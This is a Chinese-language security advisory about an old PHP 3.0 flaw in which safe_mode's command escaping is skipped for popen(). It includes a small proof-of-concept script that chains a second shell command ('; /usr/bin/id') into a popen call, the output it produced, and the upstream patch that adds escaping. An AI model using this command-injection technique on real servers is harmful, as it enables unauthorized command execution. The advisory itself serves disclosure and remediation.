|          
受影响的系统:  PHP 3.00  --------------------------------------------------------------------------------
 描述:
 
 PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
 PHP的特色。这个语言可以让web开发者快速创建动态网页。
 
 因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
 用于控制在允许PHP操作的webroot环境中执行命令。
 
 其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
 函数,此函数用于确认在webroot目录外部不能执行命令。
 
 在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
 以利用'popen'系统调用进行非法操作。
 
 --------------------------------------------------------------------------------
 测试程序:
 
 警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
 
 <?php
 $fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
 echo "$fp<br>n";
 while($line = fgets($fp, 1024)):
 printf("%s<br>n", $line);
 endwhile;
 pclose($fp);
 phpinfo();
 ?>
 
 输出结果如下:
 
 1
 total 53
 -rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls
 uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)
 and from the configuration values of phpinfo():
 safe_mode 0 1
 
 --------------------------------------------------------------------------------
 建议:
 Index: functions/file.c
 ===================================================================
 RCS file: /repository/php3/functions/file.c,v
 retrieving revision 1.229
 retrieving revision 1.230
 diff -u -r1.229 -r1.230
 --- functions/file.c 2000/01/01 04:31:15 1.229
 +++ functions/file.c 2000/01/03 21:31:31 1.230
 @@ -26,7 +26,7 @@
 | Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
 +----------------------------------------------------------------------+
 */
 -/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
 +/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
 #include "php.h"
 #include <stdio.h>
 @@ -51,6 +51,7 @@
 #include "safe_mode.h"
 #include "php3_list.h"
 #include "php3_string.h"
 +#include "exec.h"
 #include "file.h"
 #if HAVE_PWD_H
 #if MSVC5
 
 @@ -575,7 +576,7 @@
 pval *arg1, *arg2;
 FILE *fp;
 int id;
 - char *p;
 + char *p, *tmp = NULL;
 char *b, buf[1024];
 TLS_VARS;
 
 @@ -600,7 +601,11 @@
 } else {
 snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
 }
 
 - fp = popen(buf,p);
 
 +
 + tmp = _php3_escapeshellcmd(buf);
 + fp = popen(tmp,p);
 + efree(tmp); /* temporary copy, no longer necessary */
 +
 if (!fp) {
 php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
 RETURN_FALSE;
 
 |